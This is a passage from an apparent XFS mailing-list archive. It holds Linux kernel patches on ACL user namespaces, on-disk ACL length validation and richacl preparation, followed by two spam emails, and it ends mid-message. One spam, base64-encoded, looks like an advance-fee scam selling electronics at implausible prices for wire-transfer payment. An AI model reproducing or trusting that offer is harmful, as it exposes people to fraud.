filesystem because the VFS is unaware of those attributes; for the standard POSIX ACL attributes, the VFS takes care of that for us. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 0eea7ee..64ffb85 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -39,7 +39,8 @@ STATIC struct posix_acl * xfs_acl_from_disk( const struct xfs_acl *aclp, int len, - int max_entries) + int max_entries, + struct user_namespace *ns) { struct posix_acl_entry *acl_e; struct posix_acl *acl; @@ -71,10 +72,10 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + acl_e->e_uid = make_kuid(ns, be32_to_cpu(ace->ae_id)); break; case ACL_GROUP: - acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); + acl_e->e_gid = make_kgid(ns, be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: @@ -93,7 +94,10 @@ fail: } STATIC void -xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) +xfs_acl_to_disk( + struct xfs_acl *aclp, + const struct posix_acl *acl, + struct user_namespace *ns) { const struct posix_acl_entry *acl_e; struct xfs_acl_entry *ace; @@ -107,10 +111,10 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) ace->ae_tag = cpu_to_be32(acl_e->e_tag); switch (acl_e->e_tag) { case ACL_USER: - ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + ace->ae_id = cpu_to_be32(from_kuid(ns, acl_e->e_uid)); break; case ACL_GROUP: - ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + ace->ae_id = cpu_to_be32(from_kgid(ns, acl_e->e_gid)); break; default: ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); @@ -166,7 +170,8 @@ xfs_get_acl(struct inode *inode, int type) goto out; } - acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount), + &init_user_ns); if (IS_ERR(acl)) goto out; @@ -205,7 +210,7 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) if (!xfs_acl) return -ENOMEM; - xfs_acl_to_disk(xfs_acl, acl); + xfs_acl_to_disk(xfs_acl, acl, &init_user_ns); /* subtract away the unused acl entries */ len -= sizeof(struct xfs_acl_entry) * @@ -325,10 +330,11 @@ xfs_xattr_acl_get(struct dentry *dentry, const char *name, error = XFS_ACL_SIZE(acl->a_count); if (value) { + struct user_namespace *user_ns = current_user_ns(); if (error > size) error = -ERANGE; else - xfs_acl_to_disk(value, acl); + xfs_acl_to_disk(value, acl, user_ns); } posix_acl_release(acl); @@ -351,7 +357,10 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, return value ? -EACCES : 0; if (value) { - acl = xfs_acl_from_disk(value, size, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + struct user_namespace *user_ns = current_user_ns(); + acl = xfs_acl_from_disk(value, size, + XFS_ACL_MAX_ENTRIES(ip->i_mount), + user_ns); if (IS_ERR(acl)) return PTR_ERR(acl); -- 2.5.0 From agruenba@redhat.com Sat Oct 24 16:16:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B68147F6B for ; Sat, 24 Oct 2015 16:16:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8997C8F8040 for ; Sat, 24 Oct 2015 14:16:18 -0700 (PDT) X-ASG-Debug-ID: 1445721375-04bdf0330a5dba0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CvB30xGVeHUg0EmD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 14:16:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 2C063C0B2B75 for ; Sat, 24 Oct 2015 21:16:15 +0000 (UTC) Received: from nux.redhat.com (vpn1-4-1.ams2.redhat.com [10.36.4.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OLGAnG028794; Sat, 24 Oct 2015 17:16:13 -0400 From: Andreas Gruenbacher To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH 1/4] xfs: Validate the length of on-disk ACLs Date: Sat, 24 Oct 2015 23:16:06 +0200 X-ASG-Orig-Subj: [PATCH 1/4] xfs: Validate the length of on-disk ACLs Message-Id: <1445721369-25679-2-git-send-email-agruenba@redhat.com> In-Reply-To: <1445721369-25679-1-git-send-email-agruenba@redhat.com> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445721375 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In xfs_acl_from_disk, instead of trusting that xfs_acl.acl_cnt is correct, make sure that the length of the attributes is correct as well. Also, turn the aclp parameter into a const pointer. Signed-off-by: Andreas Gruenbacher --- fs/xfs/libxfs/xfs_format.h | 8 ++++++-- fs/xfs/xfs_acl.c | 13 ++++++++----- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..0e62682 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1487,9 +1487,13 @@ struct xfs_acl { sizeof(struct xfs_acl_entry) \ : 25) -#define XFS_ACL_MAX_SIZE(mp) \ +#define XFS_ACL_SIZE(cnt) \ (sizeof(struct xfs_acl) + \ - sizeof(struct xfs_acl_entry) * XFS_ACL_MAX_ENTRIES((mp))) + sizeof(struct xfs_acl_entry) * cnt) + +#define XFS_ACL_MAX_SIZE(mp) \ + XFS_ACL_SIZE(XFS_ACL_MAX_ENTRIES((mp))) + /* On-disk XFS extended attribute names */ #define SGI_ACL_FILE "SGI_ACL_FILE" diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..763e365 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -37,16 +37,19 @@ STATIC struct posix_acl * xfs_acl_from_disk( - struct xfs_acl *aclp, - int max_entries) + const struct xfs_acl *aclp, + int len, + int max_entries) { struct posix_acl_entry *acl_e; struct posix_acl *acl; - struct xfs_acl_entry *ace; + const struct xfs_acl_entry *ace; unsigned int count, i; + if (len < sizeof(*aclp)) + return ERR_PTR(-EFSCORRUPTED); count = be32_to_cpu(aclp->acl_cnt); - if (count > max_entries) + if (count > max_entries || XFS_ACL_SIZE(count) != len) return ERR_PTR(-EFSCORRUPTED); acl = posix_acl_alloc(count, GFP_KERNEL); @@ -163,7 +166,7 @@ xfs_get_acl(struct inode *inode, int type) goto out; } - acl = xfs_acl_from_disk(xfs_acl, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount)); if (IS_ERR(acl)) goto out; -- 2.5.0 From agruenba@redhat.com Sat Oct 24 16:16:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8E4617F6F for ; Sat, 24 Oct 2015 16:16:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 561CB8F8040 for ; Sat, 24 Oct 2015 14:16:23 -0700 (PDT) X-ASG-Debug-ID: 1445721382-04bdf0330b5dbb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yLBNbLTJfIsLCw8v (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 14:16:22 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 300AF8F2FE for ; Sat, 24 Oct 2015 21:16:22 +0000 (UTC) Received: from nux.redhat.com (vpn1-4-1.ams2.redhat.com [10.36.4.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OLGAnJ028794; Sat, 24 Oct 2015 17:16:20 -0400 From: Andreas Gruenbacher To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH 4/4] xfs: SGI ACLs: Prepare for richacls Date: Sat, 24 Oct 2015 23:16:09 +0200 X-ASG-Orig-Subj: [PATCH 4/4] xfs: SGI ACLs: Prepare for richacls Message-Id: <1445721369-25679-5-git-send-email-agruenba@redhat.com> In-Reply-To: <1445721369-25679-1-git-send-email-agruenba@redhat.com> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445721382 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In case an inode has trusted.SGI_ACL_* attributes but POSIX ACLs are not enabled, treat those attributes as normal trusted attributes and bypass the get_acl and set_acl inode operations to prevent corrupting inode->i_mode, inode->i_acl, or inode->i_default_acl. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 5 +++++ fs/xfs/xfs_xattr.c | 5 +++-- fs/xfs/xfs_xattr.h | 28 ++++++++++++++++++++++++++++ 3 files changed, 36 insertions(+), 2 deletions(-) create mode 100644 fs/xfs/xfs_xattr.h diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 64ffb85..bee1493 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -21,6 +21,7 @@ #include "xfs_trans_resv.h" #include "xfs_mount.h" #include "xfs_inode.h" +#include "xfs_xattr.h" #include "xfs_acl.h" #include "xfs_attr.h" #include "xfs_trace.h" @@ -319,6 +320,8 @@ xfs_xattr_acl_get(struct dentry *dentry, const char *name, struct posix_acl *acl; int error; + if (!IS_POSIXACL(inode)) + return xfs_xattr_get(dentry, name, value, size, type); if (S_ISLNK(inode->i_mode)) return -EOPNOTSUPP; @@ -350,6 +353,8 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, struct posix_acl *acl = NULL; int error; + if (!IS_POSIXACL(inode)) + return xfs_xattr_set(dentry, name, value, size, flags, type); if (!inode->i_op->set_acl) return -EOPNOTSUPP; diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 7534cb5..78540c3 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -25,13 +25,14 @@ #include "xfs_inode.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" +#include "xfs_xattr.h" #include "xfs_acl.h" #include #include -static int +int xfs_xattr_get(struct dentry *dentry, const char *name, void *value, size_t size, int xflags) { @@ -53,7 +54,7 @@ xfs_xattr_get(struct dentry *dentry, const char *name, return asize; } -static int +int xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int xflags) { diff --git a/fs/xfs/xfs_xattr.h b/fs/xfs/xfs_xattr.h new file mode 100644 index 0000000..69560052 --- /dev/null +++ b/fs/xfs/xfs_xattr.h @@ -0,0 +1,28 @@ +/* + * Copyright (c) 2001-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_XATTR_H__ +#define __XFS_XATTR_H__ + +struct dentry; + +extern int xfs_xattr_get(struct dentry *dentry, const char *name, void *value, + size_t size, int xflags); +extern int xfs_xattr_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int xflags); + +#endif /* __XFS_XATTR_H__ */ -- 2.5.0 From bounce-9632-180380-8612-452@emailtg.com Sun Oct 25 20:39:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.3 required=5.0 tests=HTML_IMAGE_ONLY_16, HTML_MESSAGE,MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2285A7F66 for ; Sun, 25 Oct 2015 20:39:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C42D9AC003 for ; Sun, 25 Oct 2015 18:39:13 -0700 (PDT) X-ASG-Debug-ID: 1445823550-04bdf033097f6b0001-NocioJ Received: from emailtg.com (emailtg.com [133.130.101.192]) by cuda.sgi.com with ESMTP id KBtSnm2WmBXuvrZA for ; Sun, 25 Oct 2015 18:39:10 -0700 (PDT) X-Barracuda-Envelope-From: bounce-9632-180380-8612-452@emailtg.com X-Barracuda-Apparent-Source-IP: 133.130.101.192 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=emailtg.com; h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type; i=user-ru@emailtg.com; bh=HIV3ywFzSvLfl1UZmJZ5SzsPmU4=; b=J3MSMjZrGUwSDBo53Tok8IZymL8AbLiYq9rQG9JgKur/LIo8G8VGFWvyFd+i2JJv1MmmqVYCmetv kVoYRTrtUewUY6Vyt1HD3H0WSDcVzg/bHZkyEzt33iOl9B+DnkdcKZUiVeh1EOMfnSsY0fCYICay gQ+C6h7umMW3n1/7wTI= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=emailtg.com; b=JtziuX/D4XSl960AIyuMTsmKn8pycUICIpAflXxpBOcJgqk9gtjIpnL8sJ3cPDvjJ5CMtPTQJfFU +1tcNebkWFatvQAHPhnfzJ/oJM3+WtI++oghlrz1k8hfoEzxT3DZjNDVghrvNBjPuyL/jWFe3yRb VOJYTyDa7m5xOBrEe+U=; Received: by emailtg.com id h5m23u0e97gd for ; Mon, 26 Oct 2015 10:39:05 +0900 (envelope-from ) Date: Mon, 26 Oct 2015 10:39:05 +0900 To: "xfs@oss.sgi.com" From: Machinery Reply-to: Machinery Subject: re:professional concrete block machines maker2015-10-26 Message-ID: X-ASG-Orig-Subj: re:professional concrete block machines maker2015-10-26 X-Priority: 3 Sender: X-Mailer: Email Sending System X-Complaints-To: 1138287802@qq.com List-Unsubscribe: X-MessageID: NDd8fHx8ODg0fHx8fHhmc0Bvc3Muc2dpLmNvbXx8fHw0Mnx8fHwyfHx8fDA%3D X-Report-Abuse: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="utf-8" X-Barracuda-Connect: emailtg.com[133.130.101.192] X-Barracuda-Start-Time: 1445823550 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.63 X-Barracuda-Spam-Status: No, SCORE=0.63 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_ONLY_16, HTML_MESSAGE, MIME_HTML_ONLY, NORMAL_HTTP_TO_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23814 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message Untitled document

Dear Purchasing manager,

 

Glad to get your contact info from we= bsite.

 

We supply Concrete Block Production Line w= ith good quality and very competitive price.&= nbsp;with the cooperation of  Siemens, ABB&nb= sp;Group, Yuken etc., and hope to find a=  way to cooperate with you! 

 

More details of products will be provided&= nbsp;if you needed.

Email me or just call me directly. Th= ank you!

 

Best regards,

 

Isaac 

marketing manager

 

Beijing REIT Technology Development Co., Ltd

MP: 13811432503

Email: 305@reit.cc

Address:702,Tower X, Runfeng Deshangyuan,No.60 Anli&= nbsp;Rd., Beijing, China

3D"." From bqkfmest@fxwa.com Sun Oct 25 23:28:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=FREEMAIL_FROM, HK_RANDOM_ENVFROM,HTML_MESSAGE,LOTS_OF_MONEY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B06F7F69 for ; Sun, 25 Oct 2015 23:28:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5B3BAAC003 for ; Sun, 25 Oct 2015 21:27:57 -0700 (PDT) X-ASG-Debug-ID: 1445833647-04cb6c7b86770f0001-NocioJ Received: from fxwa.com ([116.25.66.187]) by cuda.sgi.com with ESMTP id q050TIgdpc0SeUOC for ; Sun, 25 Oct 2015 21:27:28 -0700 (PDT) X-Barracuda-Envelope-From: bqkfmest@fxwa.com X-Barracuda-Apparent-Source-IP: 116.25.66.187 Received: from 2013-20141109KS ([127.0.0.1]) by localhost via TCP with ESMTPA; Mon, 26 Oct 2015 12:25:08 +0800 MIME-Version: 1.0 From: Miya Sender: Miya To: xfs@oss.sgi.com Reply-To: Miya Date: 26 Oct 2015 12:25:08 +0800 Subject: =?utf-8?B?VGhlIG1vc3QgaG90IHNhbGUgaXBob25lIGlwYWQgaW1hYyBNYWNib29r?= Content-Type: multipart/alternative; boundary=--boundary_24240_53fd055d-c83e-45ce-91f5-1f94ea90d275 X-ASG-Orig-Subj: =?utf-8?B?VGhlIG1vc3QgaG90IHNhbGUgaXBob25lIGlwYWQgaW1hYyBNYWNib29r?= X-Barracuda-Connect: UNKNOWN[116.25.66.187] X-Barracuda-Start-Time: 1445833647 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23817 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151026042757.B371A1296088@cuda.sgi.com> ----boundary_24240_53fd055d-c83e-45ce-91f5-1f94ea90d275 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 DQoNCg0KSGVsbG8sJm5ic3A7ZGVhciZuYnNwO2ZyaWVuZC4mbmJzcDtOaWNlJm5ic3A7ZGF5 77yBDQoNClRoaXMmbmJzcDtpcyZuYnNwO01peWEgKG1hbmFnZXIpJm5ic3A7ZnJvbSZuYnNw O0tMQiBUUkFERSBMdGQuJm5ic3A7KGh0dHA6Ly93d3cua2xidHJhZGUuY29tLyksIGEgMTcg eWVhcnMgc3VwcGxpZXIuDQoNCkZvciZuYnNwO21vcmUmbmJzcDtpbmZvcm1hdGlvbiZuYnNw O29mJm5ic3A7b3VyJm5ic3A7b3JpZ2luYWwmbmJzcDtwcm9kdWN0cywmbmJzcDt3ZWxjb21l Jm5ic3A7dG8mbmJzcDt2aXNpdCZuYnNwO291ciZuYnNwO3dlYnNpdGUmbmJzcDtvciZuYnNw O2NvbnRhY3QmbmJzcDttZSZuYnNwO2RpcmVjdGx5LiZuYnNwO0NvbXBhbnkmbmJzcDt2aXNp dGluZyZuYnNwO2lzJm5ic3A7d2VsY29tZWQuDQoNCg0KDQpXZWxjb21lIHRvIHZpc2l0IG91 ciB3ZWJzaXRlIHRvIGdldCBtb3JlIGluZm9ybWF0aW9uIGFib3V0IG91ciBwcm9kdWN0cy4N Cg0KU2hpcHBpbmcmbmJzcDttZXRob2QmbmJzcDs6Jm5ic3A7REhMLCZuYnNwO1VQUywmbmJz cDtGZWRFeCwmbmJzcDtUTlQsJm5ic3A7RU1TLCZuYnNwO0NoaW5hJm5ic3A7UG9zdC4NCg0K UGF5bWVudCZuYnNwO21ldGhvZCZuYnNwOzombmJzcDtUL1QsJm5ic3A7V2VzdGVybiZuYnNw O1VuaW9uLCZuYnNwO01vbmV5Jm5ic3A7R3JhbQ0KDQpXb3JsZHdpZGUmbmJzcDtXYXJyYW50 eSZuYnNwOzombmJzcDtPcmlnaW5hbCZuYnNwO3Byb2R1Y3RzJm5ic3A7KyZuYnNwO0F0Jm5i c3A7bGVhc3QmbmJzcDszJm5ic3A7eWVhcnMmbmJzcDt3YXJyYW50eQ0KDQpTa3lwZSZuYnNw O0lEJm5ic3A7OiZuYnNwO3RyYWRla2xiDQoNClRoZSZuYnNwO0Jlc3QmbmJzcDtXaG9sZXNh bGUmbmJzcDtQcmljZSZuYnNwO0xpc3QNCg0KVGhlJm5ic3A7TGF0ZXN0Jm5ic3A7UHJvZHVj dHMmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsNCg0KTmV3Jm5ic3A7QXBwbGUmbmJzcDtNYWNib29rJm5ic3A7MTIiJm5ic3A7NTEyR0Im bmJzcDt3aXRoJm5ic3A7UmV0aW5hJm5ic3A7ZGlzcGxheQ0KMTIuMCZuYnNwO2luY2hlcyZu YnNwO0ludGVsJm5ic3A7Q29yZSZuYnNwO00mbmJzcDtwcm9jZXNzb3ImbmJzcDs1MTJHQiZu YnNwO1NTRA0KJDQxNSZuYnNwOw0KDQpOZXcmbmJzcDtBcHBsZSZuYnNwO01hY2Jvb2smbmJz cDsxMiImbmJzcDsyNTZHQiZuYnNwO3dpdGgmbmJzcDtSZXRpbmEmbmJzcDtkaXNwbGF5DQox Mi4wJm5ic3A7aW5jaGVzJm5ic3A7SW50ZWwmbmJzcDtDb3JlJm5ic3A7TSZuYnNwO3Byb2Nl c3NvciZuYnNwOzI1NkdCJm5ic3A7U1NEDQokMzk4Jm5ic3A7DQoNCmlQaG9uZSZuYnNwOzZT IFBsdXMNCjUuNS1pbmNoJm5ic3A7MTZHQi82NEdCLzEyOEdCDQokMzMwLzM1NS8zODUNCg0K U2Ftc3VuZyZuYnNwO0dBTEFYWSZuYnNwO1M2DQo1LjEtaW5jaCZuYnNwOzMyR0INCiQyODUm bmJzcDsNCg0KU2Ftc3VuZyZuYnNwO0dBTEFYWSZuYnNwO1M2Jm5ic3A7RWRnZQ0KNS4xLWlu Y2gmbmJzcDszMkdCLzY0R0INCiQyOTAvMjk1DQoNCkh1YXdlaSZuYnNwO1A4DQo1LjItaW5j aCZuYnNwOzY0R0INCiQxNTAmbmJzcDsNCg0KU29ueSZuYnNwO1BsYXlTdGF0aW9uJm5ic3A7 NCZuYnNwOzIwdGgmbmJzcDtBbm5pdmVyc2FyeSZuYnNwO0VkaXRpb24mbmJzcDsoNTAwR0Ip DQpXaXRoJm5ic3A7R2FtZSZuYnNwOyZhbXA7Jm5ic3A7Q29udHJvbGxlcg0KJDE1MA0KDQoN Cg0KTGFwdG9wICZhbXA7IE5vdGVib29rJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 